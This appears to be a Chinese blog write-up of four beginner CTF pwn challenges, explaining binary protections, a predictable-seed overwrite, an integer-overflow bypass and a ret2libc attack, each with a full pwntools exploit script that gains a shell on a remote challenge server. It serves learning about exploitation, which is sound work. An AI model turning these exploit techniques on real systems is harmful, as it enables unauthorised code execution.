0 Preview

也刚开始学pwn,没打算仔细去看知识然后再刷题。
我是直接上题,然后看wp再学。
更有挑战性,不至于枯燥学不下去。

本文涉及很多新知识点,我终于写了锚点,可以直达标题了。

  1. gets 溢出
  2. 整数溢出
  3. ret2libc

1-guess_num

checksec:
image-20211002163111080

保护开的挺齐全,还不是很清楚这几个保护作用是啥,记录一下。
刚好看见个 造粪机 ,大家一起来围观一下,图片放在文章最后。

1.Canary

Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。 因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数,或是利用此函数。

2.ALSR

Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。

3.Relro

Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。**

4.NX

Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

然后运行一下,看看程序实现了什么功能,滤清程序逻辑,方便之后ida分析。可以发现目前有三次输入数据。
image-20211002163033327

image-20211002164512040

很明显这个题还没找到能够直接利用栈溢出或者格式化字符串的地方。
题目也很直白,摆明了要想办法通过这 十次 猜数。
最有可能有漏洞的地方就是 伪随机数 了。毕竟我也出过一个随机数的题,知道这玩意压根不可能达到真随机。

rand() 函数是使用线性同余法做的,它并不是真的随机数,因为其周期特别长,所以在一定范围内可以看成随机的。
**srand()**为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用time(0)或time(NULL)的返回值作为seed。

仔细观察,发现存在 gets漏洞 ,srand(seed[0]) 是指定随机数种子的函数,我们只要想办法修改他的参数为任意值,就可以让随机数可预测。

image-20211002165710123

只要我们向里面填充 0x20个数据,然后在覆盖掉 seed 的值,就可以得到flag。
之前出题时候发现,相同种子产生的随机数,会在不同平台不同语言产生不同的结果,归根结底还是 libc 版本的问题。我们首先要利用指令查看一下这道题的 libc 版本。

1
2
BASH
ldd guess_num

image-20211002171620325

然后指定libc版本编译一个随机数程序。我们设置种子为 1 。
这里python需要用到c语言的标准动态库
需要导入python标准库中自带的ctypes模块即可。

1.1 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PYTHON
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
context(os='linux',arch='amd64',log_level='debug')
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",62738)
else:
io = process("guess_num")


payload = 'a' * 0x20 + p64(1)

io.recvline()
io.sendlineafter("Your name:",payload)
for i in range(10):
io.sendlineafter("Please input your guess number:",str(libc.rand() % 6 + 1))
io.interactive()

main()

直接拿下!

image-20211002174509224

2-int_overflow

一看又是一个新的知识的,干了xdm!
看提示好像还是溢出,瞅着题目名字倒是有点像之前学 csapp 时候的整形千奇百怪的溢出。

2.1 国际惯例

image-20211002175404757

开了内存,倒是没开金丝雀。

2.2 跑一遍

gdb跑一遍,捋一下程序逻辑。

image-20211002180414173

初步测试,第一个输入未发现利用点,看伪代码以后,证明用户名并不是溢出了,而是读入固定长度的数据,导致不可能出现溢出漏洞。
接下来就是找新的办法,调用这个函数。

image-20211002180723752

2.3 整数溢出

关于数据宽度和整形溢出会是什么样的结果,可以去看我的另一个系列文章:CSAPP

我们再输入密码以后,会执行这个函数,对密码进行check。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C
check_passwd(buf) //buf就是我们输入的密码
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; //这里定义的是无符号整数,也就是八位最大存储数为 255

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
}
return result;

这里定义了一个 无符号整数 v3 作为字符串长度进行判断,来防止字符串溢出。
但是 v3 本身也能溢出,属于是 拆了东墙补西墙 。构造一个长度大于255的字符串就行。
也就是说,现在我们是可以绕过字符串长度检测的,接下来就要想办法获取flag,也就是改变这个函数的返回地址。
再来全面的认识一下这个函数 strcopy :

⭐️C 库函数 char *strcpy(char *dest, const char *src)src 所指向的字符串复制到 dest
需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。
⭐️该函数返回一个指向最终的目标字符串 dest 的指针。

strcopy本身就是一个函数,我们可以尝试修改他的返回值,试试能不能成功。
image-20211002190709368

2.4 构造payload

为了确保能通过密码长度检测,需要利用整数溢出漏洞,构造一个长达262的数据。
首先要填充 0x18 个原本存储密码的空间
其次要填充的就是返回地址
最后剩下的就是垃圾数据,(262-0x18-0x4)
写exp时候有个坑,一定要看程序是多少位的,我写的时候没注意看,用 p64() 打包导致一直打不通。

2.5 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("int_overflow")
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",62147)
else:
io = process("int_overflow")


shell_adr = elf.symbols["what_is_this"]
payload = 'a' * 0x18 + p32(shell_adr) + 'a' * (262 - 0x18 - 0x4)

io.recvline()
io.sendlineafter("Your choice:",'1')
io.sendlineafter("Please input your username:\n",'shangu')
io.sendlineafter("Please input your passwd:\n",payload)
io.interactive()

main()

image-20211002191347574

3 cgpwn2

3.1 传统艺能

image-20211002195446629

开了nx和relro
32位!32位!32位!要用p32打包

3.2 运行一下

image-20211002195717455

嗯哼~
读入两个字符串,就没然后了

3.3 IDA

有一个函数命名是 pwn ,太可疑了。还调用了 system 函数。应该是有什么新的漏洞能够修改这里的参数吧。
但是这玩意儿,也没人调用他啊,也不会入栈。从哪能入手呢?
不管了,下把程序劫持到这里吧。

image-20211002201742366

利用gets漏洞,覆盖掉返回地址,将程序先劫持到 pwn 函数:
image-20211002202326526

image-20211002202345835

仔细想了想,目前程序中并没有出现任何能getshell的关键字符串,也就是说,想要给这个pwn函数找参数比较难。
把程序又看了看,才想起来程序最开始让输入name不就是字符串吗?
我们可以将 “ /bin/sh ”作为name,传到程序里面。然后实现getshell。

3.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("cgpwn2")
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",54016)
else:
io = process("cgpwn2")

sys_adr = elf.symbols["system"]
payload = 'a' * (0x26 + 0x4) + p32(sys_adr) + 'a' * 4
payload = payload + p32(0x804A080)

io.sendlineafter("please tell me your name\n",'/bin/sh')
io.sendlineafter("hello,you can leave some message here:\n",payload)
io.interactive()

main()

需要在 ida 里面找到 name的地址,当做“/bin/sh”的地址。
拿下!
image-20211002205021701

4-level3

题目描述:

libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

这次给了 libc 文件,目前来说我的水平还不知道这玩意儿有啥用。

4.1 传统艺能

image-20211002205456680

貌似还是栈溢出,是32位的,记得用p32打包数据。
应该是上次那个 level 系列的升级版。
跑一下这个环节就跳过了,就是个输入字符串,然后输出hello。

4.2 IDA

还是熟悉的栈溢出配方,但是这个里面连 system 都没了,“/bin/sh” 也没了。瞬间没了思路
应该能用上给的那个 libc 文件,毕竟 所有的函数都在里面。

image-20211002210012752

这个题就难一点了,这题目类型为 ret2libc 。

程序中没有找到system函数,也没找到/bin/sh,但是给了一个libc-2.19.so,我们需要读取某一个函数 got 表中的地址来计算 libc 的基址,最终计算system和/bin/sh内存地址

说人话就是,程序在运行时会从 libc库 中获取函数。他获取函数肯定会用到地址,也就是说这个函数指向了 libc 中的某一地址。
我们常用的手段是直接用system函数的地址,实质上是还是从libc中调用这个函数。

说白了就是让我们之前的ret不往shellcode或者vul上跳 而是跳到了某个函数的plt或者got的位置 从而实现控制程序的函数去执行libc中的函数

img

GOT是一个存储外部库函数的表

PLT则是由代码片段组成的,每个代码片段都跳转到GOT表中的一个具体的函数调用

4.3 泄露地址

思路:

1、让read函数溢出,然后用write函数泄露write函数本身的地址

2、利用函数在内存中的地址和libc文件中的偏移的差相等,来获取基址,通过基址来获取system和/bin/sh的地址

3、再次返回vulnerable_funcion函数,进行二次溢出获得shell

4.3.2 write函数利用

ssize_t write(int fd,const void*buf,size_t count);

参数说明
fd: 是文件描述符(write所对应的是写,即就是1)
buf: 通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

举个简单的例子:

1
2
PYTHON
payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

首先写入write函数的plt表地址(write函数的实际地址),去调用write函数
接着在函数返回地址处写入main函数地址,控制程序执行流

最后的p32(1)+p32(write_got)+p32(4)是我们一开始写入的调用write函数的参数,目的是调用write函数去打印write的got表(write函数的地址),32位程序,一次传入4字节

这句payload会泄露程序里的write函数的地址,利用libcsearcher就能获取这个程序libc的基址,接下我们就可以构造system(‘/bin/sh’)获取shell了

首先通过write函数泄露出他在got表的地址,然后就可以算出偏移量了,其他的函数地址也就手到擒来。

image-20211002224916539

代码中打包的原函数地址,是填充了 write 的返回地址,方便我们二次溢出。

4.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("level3")
libc = ELF("libc_32.so.6")
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",49297)
else:
io = process("level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
write_libc = libc.symbols["write"]


sys_libc = libc.symbols["system"]
shell_libc = libc.search("/bin/sh").next()
fuc_adr = elf.symbols["vulnerable_function"]
payload0 = 'a' * (0x88+4) + p32(write_plt) + p32(fuc_adr) + p32(1) + p32(write_got) + p32(4)
#再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数
# 1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度
io.sendlineafter("Input:\n",payload0)
write_adr=u32(io.recv(4))
iv = write_adr - write_libc
sys_adr = sys_libc + write_adr - write_libc
shell_adr = shell_libc + write_adr - write_libc
payload1 = 'a' * (0x88+4) + p32(sys_adr) + p32(0xaaaa) + p32(shell_adr)

io.sendlineafter("Input:\n",payload1)
io.interactive()

main()

拿下!
image-20211002230541859

5 关于造粪机

明天有空给各位👴写友链,还有空的话写一下got表的知识,再有空就去英雄联盟了。

👴不是说,不能把csdn当成笔记用,自己看的懂就好。
但至少要严谨一点,毕竟是要复习,也可能会帮到别人。
下面这张图完美的解释了什么事造粪机,

直接复制别的回答,还复制多了。笑死

image-20211002163511539

v2-98b820f975479a7624070696e9c705f8_r